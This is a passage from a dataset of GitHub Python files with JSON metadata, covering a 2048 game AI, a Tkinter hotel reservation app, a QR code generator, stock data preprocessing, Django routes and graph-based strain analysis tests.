{self.hit_num}: <{self.x}, {self.y}>\"\n\n\n\n\n\ndef writeImages(objects: list[TriObject]):\n images = {}\n print(\"Writing images\")\n for i, obj in enumerate(objects):\n print(f\"Writing image for {obj.name} ({i+1}/{len(objects)})\")\n \n img = np.zeros((obj.resolution, obj.resolution, 3), dtype=np.uint8)\n for i in range(obj.resolution):\n for j in range(obj.resolution):\n img[i][j] = obj.texture[i][j].getColor()\n #print(img[i][j])\n #print(img)\n image = Image.fromarray(img) \n image.save(f\"./Textured/images/mat_{obj.name}.png\")\n\ndef main(FILENAME, objs):\n LOCATION = \"./\"\n OUT_LOCATION = \"./Textured/\"\n # FILENAME = \"ReflectionTestWIthCube\"\n MTL_FILE_NAME = None or FILENAME + \"_MTL\"\n newFile = \"\" # string with content of modified file\n lines = None\n with open(LOCATION + FILENAME + \".obj\", \"r\") as f:\n lines = f.readlines()\n\n lines = stripMaterialInformation(lines)\n\n lines.insert(0, f\"mtllib {MTL_FILE_NAME}.mtl\\n\")\n\n objects = []\n\n curObject = None\n doJoin = True\n for line in lines:\n if line[0] == \"o\":\n print(\"object\")\n curObject = line.split(\" \")[1]\n objects.append(curObject.strip())\n doJoin = True\n elif line[0] == \"s\":\n newFile += line\n newFile += f\"usemtl mat_{curObject}\\n\"\n doJoin = False\n elif len(line) >= 6 and line[0:6] == \"usemtl\":\n doJoin = False\n if doJoin:\n newFile += line\n else:\n doJoin = True\n print(\"Objs:\", objects)\n writeNewMtl(OUT_LOCATION, MTL_FILE_NAME, objects)\n writeNewObj(OUT_LOCATION, FILENAME, newFile)\n writeImages(objs)\n\n\nimport sys\n\n","repo_name":"lab57/Twobounce-3D-Rust","sub_path":"twobounce-python/Export.py","file_name":"Export.py","file_ext":"py","file_size_in_byte":3142,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"8092868261","text":"import time\nimport math\n\n\nU, D, L, R = (-1, 0), (1, 0), (0, -1), (0, 1)\nsmoothness_calculations = dict()\nsmoothness_calculations[(0, 0)] = (R, D)\nsmoothness_calculations[(3, 3)] = (L, U)\nsmoothness_calculations[(1, 1)] = (U, D, L, R)\nsmoothness_calculations[(2, 2)] = (U, D, L, R)\nsmoothness_calculations[(2, 0)] = (U, D, R)\nsmoothness_calculations[(0, 2)] = (L, D, R)\nsmoothness_calculations[(1, 3)] = (U, D, L)\nsmoothness_calculations[(3, 1)] = (L, U, R)\n\nweighted_matrix = [\n [4 ** 15, 4 ** 14, 4 ** 13, 4 ** 12],\n [4 ** 8, 4 ** 9, 4 ** 10, 4 ** 11],\n [4 ** 7, 4 ** 6, 4 ** 5, 4 ** 4],\n [4 ** 0, 4 ** 1, 4 ** 2, 4 ** 13]\n]\n\n\nclass IntelligentAgent:\n\n def get_move(self, grid):\n return self.search(grid)\n\n def search(self, grid):\n start = time.process_time()\n return self.max_value(grid, -10, 10, 0, start)\n\n def max_value(self, state, alpha, beta, depth, start):\n utility = self.get_utility(state)\n\n if self.is_terminal(state, depth) or time.process_time()-start > .15:\n return utility\n\n best_val = -10\n best_move = None\n for move in state.getAvailableMoves():\n\n result = self.chance(move[1], alpha, beta, depth + 1, start)\n\n if result > best_val:\n best_val = result\n best_move = move[0]\n if best_val >= beta:\n return best_val\n alpha = max(alpha, best_val)\n\n if depth == 0:\n return best_move\n return best_val\n\n def chance(self, state, alpha, beta, depth, start):\n return .9 * self.min_value(state, alpha, beta, depth, 2, start) + .1 * self.min_value(state, alpha, beta, depth, 4, start)\n\n def min_value(self, state, alpha, beta, depth, tile, start):\n utility = self.get_utility(state)\n\n if self.is_terminal(state, depth) or time.process_time()-start > .15:\n return utility\n\n best_val = 10\n for spawn in state.getAvailableCells():\n state.setCellValue(spawn, tile)\n\n result = self.max_value(state, alpha, beta, depth + 1, start)\n state.setCellValue(spawn, 0)\n best_val = min(best_val, result)\n if best_val <= alpha:\n return best_val\n beta = min(beta, best_val)\n return best_val\n\n @staticmethod\n def is_terminal(state, depth):\n if depth == 4:\n return True\n return not state.canMove()\n\n def get_utility(self, state):\n board = state.map\n\n tile_weight_score = self.get_weighted_tile_score(board)\n smoothness_score = self.get_smoothness_score(board)\n empty_cell_score = self.get_empty_cell_score(state)\n\n tile_weight_score = math.log2(tile_weight_score)/15\n smoothness_score = math.log(smoothness_score + 1)/3\n empty_cell_score = math.log2(empty_cell_score + 1)\n\n return 0.4*tile_weight_score - 0.9*smoothness_score + 0.1*empty_cell_score\n\n @staticmethod\n def get_weighted_tile_score(board):\n tile_weight_sum = 0\n for i in range(4):\n for j in range(4):\n tile_weight_sum += board[i][j] * weighted_matrix[i][j]\n\n return tile_weight_sum\n\n @staticmethod\n def get_smoothness_score(board):\n score = 0\n for cell, directions in smoothness_calculations.items():\n cell_value = board[cell[0]][cell[1]]\n if cell_value:\n for direction in directions:\n neighbor_value = board[cell[0] + direction[0]][cell[1] + direction[1]]\n difference = abs(cell_value - neighbor_value)\n if neighbor_value:\n score += difference\n return score\n\n @staticmethod\n def get_empty_cell_score(state):\n return len(state.getAvailableCells())\n","repo_name":"dberg258/2048-AI","sub_path":"AI.py","file_name":"AI.py","file_ext":"py","file_size_in_byte":3838,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"33893844624","text":"# Lab 3-1-1\n# Daniel Templer\n# dlt0076@arastudent.ac.nz\n\ndef is_valid_name(name):\n \"\"\"checks if name is valid ingoring any valid name separators which are spaces or -\"\"\"\n name_unformated = name.replace(\" \", \"\").replace(\"-\", \"\")\n if name_unformated.isalpha():\n print(f\"{name.lstrip(' ').rstrip(' ').title()} is a valid name.\")\n else:\n print(f\"{name.lstrip(' ').rstrip(' ').title()} is not a valid name.\")\n\n\nname = input(\"Please enter your first name: \")\nis_valid_name(name)\n","repo_name":"SecretaryKevin/BCDE101-Introduction-to-Programming","sub_path":"Lab 3-1-1/is_vaild_name.py","file_name":"is_vaild_name.py","file_ext":"py","file_size_in_byte":499,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"5709603741","text":"import pandas as pd\n\nfiles = ['AAPL','AMZN','MSFT','GOOG','IBM','ORCL','INTC','HPQ','LNVGY','NDAQ']\n\nfor file in files:\n\tfile = file+'.CSV'\n\txl = pd.read_csv(file)\n\tdate = xl['Date']\n\tClose = xl['Close']\n\tAD_Position = Close.copy()\n\tChange = [0]* len(date)\n\tMomentum = [0]* len(date)\n\n\tdates = [i.split(' ', 1)[0] for i in date]\n\n\treference = dates[0]\n\n\tfor i in range (1,len(date)):\n\t if Close[i] > Close[i-1] :\n\t Momentum[i] = \"1\"\n\t Change[i] = (Close[i]-Close[i-1])/Close[i-1]\n\t else :\n\t Momentum[i] = \"0\"\n\t Change[i] = (Close[i-1] - Close[i]) / Close[i - 1]\n\n\n\n\txl = pd.DataFrame({'Date':date, 'Close':Close,'Change':Change,'Momentum':Momentum}) # a represents closing date b represents closing value c represents close change and d represents momentum\n\n\tif (file == \"AAPL.CSV\"):\n\t\txl.to_csv(\"Apple_Modified.CSV\",index=False,header=True)\n\tif (file == \"AMZN.CSV\"):\n\t\txl.to_csv(\"Amazon_Modified.CSV\",index=False,header=True)\n\tif (file == 'GOOG.CSV'):\n\t\txl.to_csv(\"Google_Modified.CSV\",index=False,header=True)\n\tif (file == 'HPQ.CSV'):\n\t\txl.to_csv(\"HP_Modified.CSV\",index=False,header=True)\n\tif (file == 'IBM.CSV'):\n\t\txl.to_csv(\"IBM_Modified.CSV\",index=False,header=True)\n\tif (file == 'ORCL.CSV'):\n\t\txl.to_csv(\"Oracle_Modified.CSV\",index=False,header=True)\n\tif (file == 'INTC.CSV'):\n\t\txl.to_csv(\"Intel_Modified.CSV\",index=False,header=True)\n\tif (file == 'LNVGY.CSV'):\n\t\txl.to_csv(\"Lenovo_Modified.CSV\",index=False,header=True)\n\tif (file == 'MSFT.CSV'):\n\t\txl.to_csv(\"Microsoft_Modified.CSV\",index=False,header=True)\n\tif (file == 'NDAQ.CSV'):\n\t\txl.to_csv(\"Nasdaq_Modified.CSV\",index=False,header=True)","repo_name":"bhuriyamukesh/Stock-Market-Time-Series-Prediction-Using-LSTM-And-SVM-Algorithm","sub_path":"Modified_Companies_Dataset_Creation.py","file_name":"Modified_Companies_Dataset_Creation.py","file_ext":"py","file_size_in_byte":1634,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"3"} +{"seq_id":"863165080","text":"from django.conf.urls import url\nfrom . import views\n\nurlpatterns = [\n url(r'^$', views.student_list, name='student_list'),\n url(r'^student/(?P\\d+)/$', views.student_detail, name='student_detail'),\n url(r'^student/new/$', views.student_new, name='student_new'),\n url(r'^student/(?P\\d+)/edit/$', views.student_edit, name='student_edit'),\n url(r'^drafts/$', views.student_draft_list, name='student_draft_list'),\n url(r'^student/(?P\\d+)/publish/$', views.student_publish, name='student_publish'),\n url(r'^student/(?P\\d+)/remove/$', views.student_remove, name='student_remove'),\n]\n","repo_name":"jigarthakkar24/myproject","sub_path":"student_crud/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"21878851950","text":"import luigi\nimport logging\nimport os\nimport networkx as nx\n\nfrom shutil import rmtree\nfrom os.path import join, dirname, isfile, isdir, abspath\nfrom unittest import TestCase\n\nfrom cap2.extensions.experimental.strains.strainotyping import (\n graph_from_bam_filepath,\n partition,\n)\nfrom cap2.extensions.experimental.strains.strainotyping.graphs import (\n merge_graphs,\n filter_graph_by_weight,\n)\nfrom cap2.extensions.experimental.strains.strainotyping.io import (\n load_graph_from_filepath,\n write_graph_to_filepath,\n)\n\nlogging.basicConfig(level=logging.INFO)\n\nBAM_FILEPATH = join(dirname(__file__), 'data/covid/covid_alignment_test_bam.bam')\nTEST_CONFIG = join(dirname(__file__), 'data/test_config.yaml')\n\n\nclass TestStrainotyping(TestCase):\n NODES = [\n (('seqA', 0), ('A', 'T')),\n (('seqA', 10), ('A', 'C')),\n (('seqA', 100), ('A', 'G')),\n (('seqA', 1000), ('T', 'A')),\n (('seqB', 0), ('A', 'T')),\n (('seqB', 10), ('A', 'C')),\n (('seqB', 100), ('A', 'G')),\n (('seqB', 1000), ('T', 'A')),\n ]\n\n def test_merge_graphs(self):\n G1 = nx.Graph()\n G1.add_edge(self.NODES[0], self.NODES[1], weight=2)\n G1.add_edge(self.NODES[1], self.NODES[2], weight=3)\n G2 = nx.Graph()\n G2.add_edge(self.NODES[0], self.NODES[1], weight=3)\n G2.add_edge(self.NODES[4], self.NODES[5], weight=10)\n G = merge_graphs([G1, G2])\n self.assertIn(self.NODES[0], G)\n self.assertIn(self.NODES[1], G)\n self.assertIn(self.NODES[2], G1)\n self.assertIn(self.NODES[2], G)\n self.assertIn(self.NODES[4], G)\n self.assertIn(self.NODES[5], G)\n self.assertEqual(G[self.NODES[0]][self.NODES[1]]['weight'], 5)\n self.assertEqual(G[self.NODES[1]][self.NODES[2]]['weight'], 3)\n\n def test_filter_graph(self):\n G = nx.Graph()\n G.add_edge(self.NODES[0], self.NODES[1], weight=2)\n G.add_edge(self.NODES[1], self.NODES[2], weight=3)\n G.add_edge(self.NODES[4], self.NODES[5], weight=1)\n G = filter_graph_by_weight(G, min_weight=2)\n self.assertTrue(G.has_edge(self.NODES[0], self.NODES[1]))\n self.assertTrue(G.has_edge(self.NODES[1], self.NODES[2]))\n self.assertFalse(G.has_edge(self.NODES[4], self.NODES[5]))\n\n def test_partition_graph(self):\n G = nx.Graph()\n for n1 in self.NODES[:4]:\n for n2 in self.NODES[:4]:\n if n1 == n2:\n continue\n G.add_edge(n1, n2, weight=1)\n for n1 in self.NODES[4:]:\n for n2 in self.NODES[4:]:\n if n1 == n2:\n continue\n G.add_edge(n1, n2, weight=1)\n tbl = partition(G)\n self.assertEqual(tbl['cluster'].nunique(), 2)\n\n def test_graph_file_roundtrip(self):\n G = nx.Graph()\n G.add_edge(self.NODES[0], self.NODES[1], weight=2)\n G.add_edge(self.NODES[1], self.NODES[2], weight=3)\n G.add_edge(self.NODES[4], self.NODES[5], weight=1)\n original_graph = G.copy()\n for _ in range(10):\n write_graph_to_filepath(G, 'tmp_graph_path')\n G = load_graph_from_filepath('tmp_graph_path')\n self.assertEqual(list(G.edges(data=True)), list(original_graph.edges(data=True)))\n os.remove('tmp_graph_path')\n\n def test_graph_file_gz_roundtrip(self):\n G = nx.Graph()\n G.add_edge(self.NODES[0], self.NODES[1], weight=2)\n G.add_edge(self.NODES[1], self.NODES[2], weight=3)\n G.add_edge(self.NODES[4], self.NODES[5], weight=1)\n original_graph = G.copy()\n for _ in range(10):\n write_graph_to_filepath(G, 'tmp_graph_path.gz')\n G = load_graph_from_filepath('tmp_graph_path.gz')\n self.assertEqual(list(G.edges(data=True)), list(original_graph.edges(data=True)))\n os.remove('tmp_graph_path.gz')\n\n","repo_name":"MetaSUB/CAP2","sub_path":"tests/test_strainotyping.py","file_name":"test_strainotyping.py","file_ext":"py","file_size_in_byte":3894,"program_lang":"python","lang":"en","doc_type":"code","stars":12,"dataset":"github-code","pt":"3"} +{"seq_id":"34150820251","text":"\r\n\r\nimport os\r\nimport sys\r\n\r\n\r\ndef validar():\r\n\tentrada = input(\"desea continuar? Y/N\")\r\n\tif entrada.lower () == 's':\r\n\t\tnumb ()\r\n\telif entrada () == 'n' :\r\n\t\tsys.exit(1)\r\n\telse:\r\n\t\tvalidar()\r\n\r\n\r\ndef numb ():\r\n\tos.system('cls')\r\n\tprint(\"Leer un número entero y determinar a cuánto es igual el promedio entero de sus dígitos.\\n\")\r\n\tnumero = int(input(\"escriba su fabuloso numero: \"))\r\n\r\n\tcontador = 1\r\n\t\r\n\twhile contador <=numero:\t\r\n\t\tprint(contador)\r\n\t\tcontador = contador + 1\r\n\tvalidar()\r\nnumb()","repo_name":"oscarliz/Ejercicios-esencia-de-la-logica","sub_path":"Restantes2/1.py","file_name":"1.py","file_ext":"py","file_size_in_byte":500,"program_lang":"python","lang":"es","doc_type":"code","stars":1,"dataset":"github-code","pt":"3"} +{"seq_id":"21516734984","text":"\"\"\"-----------------------------------------------------------------------------\n\n\ttest_main.py\n\n\tIdentical to main.py, except that the program state and UI is populated with \n\tdummy entries.\n\n-----------------------------------------------------------------------------\"\"\"\n\nimport time\n\nimport lib.gui\nimport lib.client_state\nimport lib.trackers\n\n\ndef main():\n\t# adding in test ads\n\tfor i in range(0, 50):\n\t\tlib.client_state.ad_entries.append({\n\t\t\t'title': 'foo',\n\t\t\t'price': 500,\n\t\t\t'date_posted': '5 minutes ago',\n\t\t\t'location': 'canada',\n\t\t\t'url': 'http://website.com',\n\t\t\t'description': 'bar',\n\t\t\t'html_class': 'normal'\n\t\t})\n\t# adding in test notifications\n\tfor i in range(0, 100):\n\t\tlib.client_state.notification_entries.appendleft({\n\t\t\t'notification_type': 'newad',\n\t\t\t'front_text': 'New Ad',\n\t\t\t'notification_title': 'foo',\n\t\t\t'ad_price': 'no price given',\n\t\t\t'ad_title': 'bar',\n\t\t\t'ad_url': 'http://website.com',\n\t\t\t'start_time': time.perf_counter()\n\t\t})\n\t# adding in test trackers\n\tfor i in range(0, 2):\n\t\tlib.trackers.add_tracker_entry({\n\t\t\t'product_name': 'foo',\n\t\t\t'location': 'city-of-toronto',\n\t\t\t'max_price': 20,\n\t\t\t'cycle_time': 1800\n\t\t})\n\tlib.gui.instantiate()\n\nif __name__ == \"__main__\":\n\tmain()","repo_name":"mkchai/kijiji-web-scraper","sub_path":".test_main.py","file_name":".test_main.py","file_ext":"py","file_size_in_byte":1214,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"37125804389","text":"# libraries\nimport streamlit as st\nimport qr_maker\n\nst.title('Create Your Own QR Code')\n\n# (1) Type in your hyperlink for your QR code\nhyper_link = st.text_input(\"Type in your hyperline for QR code such as:\", \"https://engineering.catholic.edu/eecs/index.html\")\nst.write(\"Test your link first:\", hyper_link)\n\n# (2) User's input: QR Code Size (inches)\nqr_size = st.slider('Slide me', min_value = 6, max_value = 12, value = 6)\nst.write(\"Your code size is\", qr_size)\n\n## (3.1) without logo\nqr_name = qr_maker.qr_code(link=hyper_link, logo=False, size=qr_size)\nst.image(qr_name, caption='Your QR.png')\n\n# (3.2) without logo\n# User's logo: upload the logo image(png, jpg types)\nst.title('Add your personal Logo? ')\nlogo_file = st.file_uploader(\"click the botton to upload a picture\", type=['png','jpeg','jpg'])\nif logo_file:\n st.write(\"logo name\", logo_file.name)\n open(\"./images/logo.png\", \"wb\").write(logo_file.getbuffer())\n\n qr_name = qr_maker.qr_code(link=hyper_link, logo=True, size=qr_size)\n st.image(qr_name, caption='Your QR-Logo.png')\n\nst.title(\" Enjoy! \")\n","repo_name":"sunc-cua/QR_Code","sub_path":"QR_App.py","file_name":"QR_App.py","file_ext":"py","file_size_in_byte":1074,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"19682085048","text":"from cgitb import reset\nfrom ctypes.wintypes import HDC\nfrom email.headerregistry import Address\nfrom inspect import EndOfBlock\nfrom sqlite3 import Date\nfrom tkinter import*\nimport tkinter.messagebox\nimport time\nimport datetime\nfrom datetime import datetime\nimport tkinter\nfrom turtle import back\nfrom numpy import pad\nimport random\n\nimport backend\n\nroot = Tk()\n\nMainFrame = Frame(root)\nMainFrame.grid()\n\nTopFrame = Frame(MainFrame, bd=10, width=1350, height=550, padx=2, relief=RIDGE)\nTopFrame.pack(side=TOP)\n\nLeftFrame = Frame(TopFrame, bd=5, width=400, height=550, relief=RIDGE)\nLeftFrame.pack(side=LEFT)\nRightFrame = Frame(TopFrame, bd=5, width=820, height=550, relief=RIDGE)\nRightFrame.pack(side=RIGHT)\n\n\nRightFrame1 = Frame(RightFrame, bd=5, width=800, height=50, padx=10, relief=RIDGE)\nRightFrame1.grid(row=0, column=0)\n\nRightFrame2 = Frame(RightFrame, bd=5, width=800, height=100, padx=3, relief=RIDGE)\nRightFrame2.grid(row=1, column=0)\n\nRightFrame3 = Frame(RightFrame, bd=5, width=800, height=400, padx=4, relief=RIDGE)\nRightFrame3.grid(row=3, column=0)\n\nBottomFrame = Frame(MainFrame, bd=10, width=1350, height=150, padx=2, relief=RIDGE)\nBottomFrame.pack(side=BOTTOM)\n\nglobal cd\n\nTableID = StringVar()\nCusID = StringVar()\nFirstName = StringVar()\nLastName = StringVar()\nContact = StringVar()\nCusAddress = StringVar()\nRoom = StringVar()\n\nNoOfDays = StringVar()\nSubTotal = StringVar()\nPaidTax = StringVar()\n\nDateIn = StringVar()\nDateOut = StringVar()\nTotalDays = StringVar()\n\nDateIn.set(time.strftime(\"%d/%m/%Y\"))\nDateOut.set(time.strftime(\"%d/%m/%Y\"))\n\nrand = random.randint(1190, 8000)\nrandomReference = str(rand)\nCusID.set(randomReference)\n\ndef iExit():\n iExit = tkinter.messagebox.askyesno(\"Management System\", \"Confirm if you want to exit.\")\n if iExit > 0:\n root.destroy()\n return\n\ndef reset():\n\n # root.txtID.delete(0,END)\n root.txtCusID.delete(0,END)\n root.txtFirstname.delete(0,END)\n root.txtSurname.delete(0,END)\n root.txtContact.delete(0,END)\n root.txtAddress.delete(0,END)\n root.txtAddress.delete(0,END)\n root.txtCheckin.delete(0,END)\n root.txtCheckout.delete(0,END)\n\n DateIn.set(time.strftime(\"%d/%m/%Y\"))\n DateOut.set(time.strftime(\"%d/%m/%Y\"))\n\n rand = random.randint(1190, 8000)\n randomReference = str(rand)\n CusID.set(randomReference)\n\ndef add():\n\n if(len(CusID.get()) != 0):\n backend.addData(CusID.get(), FirstName.get(), LastName.get(), Contact.get(), CusAddress.get(), Room.get(), DateIn.get(), DateOut.get())\n lstReso.delete(0,END)\n lstReso.insert(END, (CusID.get(), FirstName.get(), LastName.get(), Contact.get(), CusAddress.get(), Room.get(), DateIn.get(), DateOut.get()))\n\ndef delete():\n\n if(len(CusID.get()) != 0):\n backend.deleteData(cd[0])\n print(\"Delete button pressed.\")\n reset()\n display()\n\n\ndef display():\n\n global cd\n\n lstReso.delete(0,END)\n for row in backend.viewData():\n lstReso.insert(END, row, str(\"\")) \n\ndef search():\n\n global cd\n\n lstReso.delete(0,END)\n for row in backend.searchData(TableID.get(), CusID.get(), FirstName.get(), LastName.get(), Contact.get(), CusAddress.get(), Room.get(), DateIn.get(), DateOut.get()):\n lstReso.insert(END, row, str(\"\"))\n\ndef update():\n\n # if(len(CusID.get()) != 0):\n # backend.deleteData(cd[0])\n # if(len(CusID.get()) != 0):\n # backend.updateData(TableID.get(), CusID.get(), FirstName.get(), LastName.get(), Contact.get(), CusAddress.get(), Room.get(), DateIn.get(), DateOut.get())\n # lstReso.delete(0,END)\n # lstReso.insert(END, (TableID.get(), CusID.get(), FirstName.get(), LastName.get(), Contact.get(), CusAddress.get(), Room.get(), DateIn.get(), DateOut.get()))\n\n global cd\n searchcdb = lstReso.curselection() [0]\n cd = lstReso.get(searchcdb)\n\n if(len(CusID.get()) != 0):\n backend.deleteData(cd[0])\n backend.addData(CusID.get(), FirstName.get(), LastName.get(), Contact.get(), CusAddress.get(), Room.get(), DateIn.get(), DateOut.get())\n lstReso.delete(0,END)\n lstReso.insert(END, (CusID.get(), FirstName.get(), LastName.get(), Contact.get(), CusAddress.get(), Room.get(), DateIn.get(), DateOut.get()))\n\ndef records():\n\n global cd\n searchcdb = lstReso.curselection() [0]\n cd = lstReso.get(searchcdb)\n\n # root.txtID.delete(0,END)\n # root.txtID.insert(END,cd[1])\n root.txtCusID.delete(0,END)\n root.txtCusID.insert(END,cd[0])\n root.txtFirstname.delete(0,END)\n root.txtFirstname.insert(END,cd[1])\n root.txtSurname.delete(0,END)\n root.txtSurname.insert(END,cd[2])\n root.txtContact.delete(0,END)\n root.txtContact.insert(END,cd[3])\n root.txtAddress.delete(0,END)\n root.txtAddress.insert(END,cd[4])\n root.txtRoom.delete(0,END)\n root.txtRoom.insert(END,cd[5])\n root.txtCheckin.delete(0,END)\n root.txtCheckin.insert(END,cd[6])\n root.txtCheckout.delete(0,END)\n root.txtCheckout.insert(END,cd[7])\n\ndef totalcostadddata():\n\n add()\n\n InDate = DateIn.get() \n OutDate = DateOut.get()\n Indate = datetime.strptime(InDate, \"%d/%m/%Y\")\n Outdate = datetime.strptime(OutDate, \"%d/%m/%Y\")\n TotalDays.set(abs((Outdate - Indate).days))\n\n\n#=======================================LEFT WIDGETS==================================================\n# root.lblID = Label(LeftFrame, font=('arial', 12,'bold'), text=\"ID:\", padx=1)\n# root.lblID.grid(row=0, column=0, sticky =W)\n# root.txtID =Entry(LeftFrame, font=('arial',12,'bold') ,width =18, textvariable=TableID)\n# root.txtID.grid(row=0, column=1, pady=3, padx=20)\n\nroot.lblCusID = Label(LeftFrame, font=('arial', 12,'bold'), text=\"Customer No:\", padx=1)\nroot.lblCusID.grid(row=1, column=0, sticky =W)\nroot.txtCusID =Entry(LeftFrame, font=('arial',12,'bold') ,width =18, textvariable=CusID)\nroot.txtCusID.grid(row=1, column=1, pady=3, padx=20)\n\nroot.lblFirstname = Label(LeftFrame, font=('arial', 12,'bold'), text=\"First Name:\", padx=1)\nroot.lblFirstname.grid(row=2, column=0, sticky =W)\nroot.txtFirstname =Entry(LeftFrame, font=('arial',12,'bold',) ,width =18, textvariable=FirstName)\nroot.txtFirstname.grid(row=2, column=1, pady=3, padx=20)\n\nroot.lblSurname = Label(LeftFrame, font=('arial', 12,'bold'), text=\"Surname:\", padx=1)\nroot.lblSurname.grid(row=3, column=0, sticky =W)\nroot.txtSurname =Entry(LeftFrame, font=('arial',12,'bold') ,width =18, textvariable=LastName)\nroot.txtSurname.grid(row=3, column=1, pady=3, padx=20)\n\nroot.lblContact = Label(LeftFrame, font=('arial', 12,'bold'), text=\"Contact No:\", padx=1)\nroot.lblContact.grid(row=4, column=0, sticky =W)\nroot.txtContact =Entry(LeftFrame, font=('arial',12,'bold') ,width =18, textvariable=Contact)\nroot.txtContact.grid(row=4, column=1, pady=3, padx=20)\n\nroot.lblAddress = Label(LeftFrame, font=('arial', 12,'bold'), text=\"Address:\", padx=1)\nroot.lblAddress.grid(row=5, column=0, sticky =W)\nroot.txtAddress =Entry(LeftFrame, font=('arial',12,'bold') ,width =18, textvariable=CusAddress)\nroot.txtAddress.grid(row=5, column=1, pady=3, padx=20)\n\nroot.lblRoom = Label(LeftFrame, font=('arial', 12,'bold'), text=\"Room No:\", padx=1)\nroot.lblRoom.grid(row=6, column=0, sticky =W)\nroot.txtRoom =Entry(LeftFrame, font=('arial',12,'bold') ,width =18, textvariable=Room)\nroot.txtRoom.grid(row=6, column=1, pady=3, padx=20)\n\nroot.lblCheckin = Label(LeftFrame, font=('arial', 12,'bold'), text=\"Check In Date:\", padx=1)\nroot.lblCheckin.grid(row=7, column=0, sticky =W)\nroot.txtCheckin =Entry(LeftFrame, font=('arial',12,'bold') ,width =18, textvariable=DateIn)\nroot.txtCheckin.grid(row=7, column=1, pady=3, padx=20)\n\nroot.lblCheckout = Label(LeftFrame, font=('arial', 12,'bold'), text=\"Check Out Date:\", padx=1)\nroot.lblCheckout.grid(row=8, column=0, sticky =W)\nroot.txtCheckout =Entry(LeftFrame, font=('arial',12,'bold') ,width =18, textvariable=DateOut)\nroot.txtCheckout.grid(row=8, column=1, pady=3, padx=20)\n\n#=======================================RIGHT WIDGETS==================================================\nroot.lblLabel = Label(RightFrame1, font=('arial', 9,'bold'), padx=6, pady=10, text=\"Customer No\\tFirstname\\t Surname \\t Contact No \\t Address \\t Room Num \\tCheck In Date\\t Check Out Date\")\nroot.lblLabel.grid(row=0, column=0, columnspan=17)\n\nscrollbar= Scrollbar(RightFrame2)\nscrollbar.grid(row=0, column=0,sticky='ns')\nlstReso = Listbox(RightFrame2, width=103, height=14, font=('arial', 9, 'bold'), yscrollcommand= scrollbar.set)\nlstReso.bind('<>', records)\nlstReso.grid(row=0, column=0, padx=7, sticky= 'nsew')\nscrollbar.config(command = lstReso.xview)\n#=======================================RIGHT WIDGETS==================================================\nroot.lblDays = Label(RightFrame3, font=('arial', 12,'bold'), text=\"No. of Days:\", padx=2, pady=2)\nroot.lblDays.grid(row=0, column=0, sticky =W)\nroot.txtDays =Entry(RightFrame3, font=('arial',12,'bold') ,width =76, textvariable=TotalDays)\nroot.txtDays.grid(row=0, column=1, pady=3, padx=20)\n\nroot.lblPaid = Label(RightFrame3, font=('arial', 12,'bold'), text=\"Amount Paid:\", padx=2, pady=2)\nroot.lblPaid.grid(row=1, column=0, sticky =W)\nroot.txtPaid =Entry(RightFrame3, font=('arial',12,'bold') ,width =76)\nroot.txtPaid.grid(row=1, column=1, pady=3, padx=20)\n\nroot.lblTotal = Label(RightFrame3, font=('arial', 12,'bold'), text=\"Total Cost:\", padx=2, pady=2)\nroot.lblTotal.grid(row=2, column=0, sticky =W)\nroot.txtTotal =Entry(RightFrame3, font=('arial',12,'bold') ,width =76)\nroot.txtTotal.grid(row=2, column=1, pady=3, padx=20)\n#=======================================WIDGET BUTTONS==================================================\n\nroot.btnTotalandAddData = Button(BottomFrame, bd=4, font=('arial', 16,'bold'),\nwidth=13, height=2, text='AddNew/Total', command=totalcostadddata).grid(row=0, column=0, padx =4, pady=1)\n\nroot.btnDisplay = Button(BottomFrame, bd=4, font=('arial', 16,'bold'),\nwidth=13, height=2, text='Display', command=display).grid(row=0, column=1, padx =4, pady=1)\n\nroot.btnUpdate = Button(BottomFrame, bd=4, font=('arial', 16,'bold'),\nwidth=13, height=2, text='Update', command=update).grid(row=0, column=2, padx =4, pady=1)\n\nroot.btnDelete = Button(BottomFrame, bd=4, font=('arial', 16,'bold'),\nwidth=13, height=2, text='Delete Entry', command=delete).grid(row=0, column=3, padx =4, pady=1)\n\nroot.btnSearch = Button(BottomFrame, bd=4, font=('arial', 16,'bold'),\nwidth=13, height=2, text='Search', command=search).grid(row=0, column=4, padx =4, pady=1)\n\nroot.btnReset = Button(BottomFrame, bd=4, font=('arial', 16,'bold'),\nwidth=13, height=2, text='Reset', command=reset).grid(row=0, column=5, padx =4, pady=1)\n\nroot.btnExit = Button(BottomFrame, bd=4, font=('arial', 16,'bold'),\nwidth=13, height=2, text='Exit', command=iExit).grid(row=0, column=6, padx =4, pady=1)\n\n\nroot.mainloop()","repo_name":"JCJ8914/SystemsAnalysisProject","sub_path":"project.py","file_name":"project.py","file_ext":"py","file_size_in_byte":10753,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"3"} +{"seq_id":"27096368046","text":"import talos, pandas as pd, numpy as np\nimport seaborn as sns\nimport matplotlib.pyplot as plt\n\nfrom other_utils import MergeImages\n\n#path = '/jmain02/home/J2AD005/jck02/mxb47-jck02/SegU-Net/tests/test1/'\n#r = talos.Reporting(path+'120521192455.csv')\npath = '/jmain02/home/J2AD005/jck02/mxb47-jck02/SegU-Net/tests/test2/'\nr = talos.Reporting(path+'120621000150.csv')\nprint(r.data)\n\nbest_params = r.best_params(metric='loss', exclude=['round_epochs', 'val_matthews_coef', 'val_precision', 'val_recall', 'val_iou', 'val_loss', 'matthews_coef', 'precision', 'recall', 'iou'])\nprint(best_params)\n\np = {'coarse_dim': [128, 256, 512],\n 'dropout':[0.05, 0.1, 0.15],\n 'kernel_size':[3, 5],\n #'activation': [ReLU(), LeakyReLU()],\n #'final_activation': ['sigmoid'], \n #'optimizer': [Adam], \n 'depth': [3, 4]\n }\n\n# create corrlation matrix\ncorr_matrix = {}\ncorr_matrix['loss'] = r.correlate('loss', exclude=['round_epochs', 'val_matthews_coef', 'val_precision', 'val_recall', 